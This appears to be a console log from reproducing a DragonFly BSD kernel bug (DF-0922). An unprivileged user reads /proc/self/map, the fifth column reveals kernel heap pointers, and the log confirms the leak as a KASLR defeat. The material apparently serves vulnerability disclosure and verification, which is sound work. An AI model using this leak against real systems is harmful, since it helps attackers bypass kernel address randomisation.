[*] DF-0922 reproduction on unpatched #0 kernel
[*] uname: DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
[*] running as: uid=1001(maxx) gid=1001(maxx) groups=1001(maxx)

=== first 5 raw lines of /proc/self/map (5th col is %p of vm_object) ===
0x0000000000400000 0x0000000000403000 -1 -1 0xfffff80116837240 r-x 2 0 0x0000 COW NC vnode /bin/cat
0x0000000000602000 0x0000000000603000 -1 -1 0xfffff80116837240 rw- 2 0 0x0000 COW NNC vnode /bin/cat
0x0000000000603000 0x0000000000604000 -1 -1 0xfffff8008facb300 rw- 1 0 0x2180 NCOW NNC default -
0x0000000800602000 0x0000000800643000 -1 -1 0xfffff80116821940 r-x 32 0 0x0000 COW NC vnode /libexec/ld-elf.so.2
0x0000000800643000 0x0000000800663000 -1 -1 0xfffff8008facb1c0 rw- 1 0 0x2180 NCOW NNC default -

=== unique kernel heap pointers extracted from column 5 (sorted) ===
[*] reading /proc/self/map as uid=1001

0
0xfffff8008facc0c0
0xfffff8008fad6ac0
0xfffff8008fad88c0
0xfffff8008fad9180
0xfffff8008fad9f40
0xfffff8008fadabc0
0xfffff8008fadbc00
0xfffff8008fadcc40
0xfffff80116821940
0xfffff80116822200
0xfffff80116822700
0xfffff801170a1440

[*] any 0xffff... address in column 5 = KASLR-defeat info leak CONFIRMED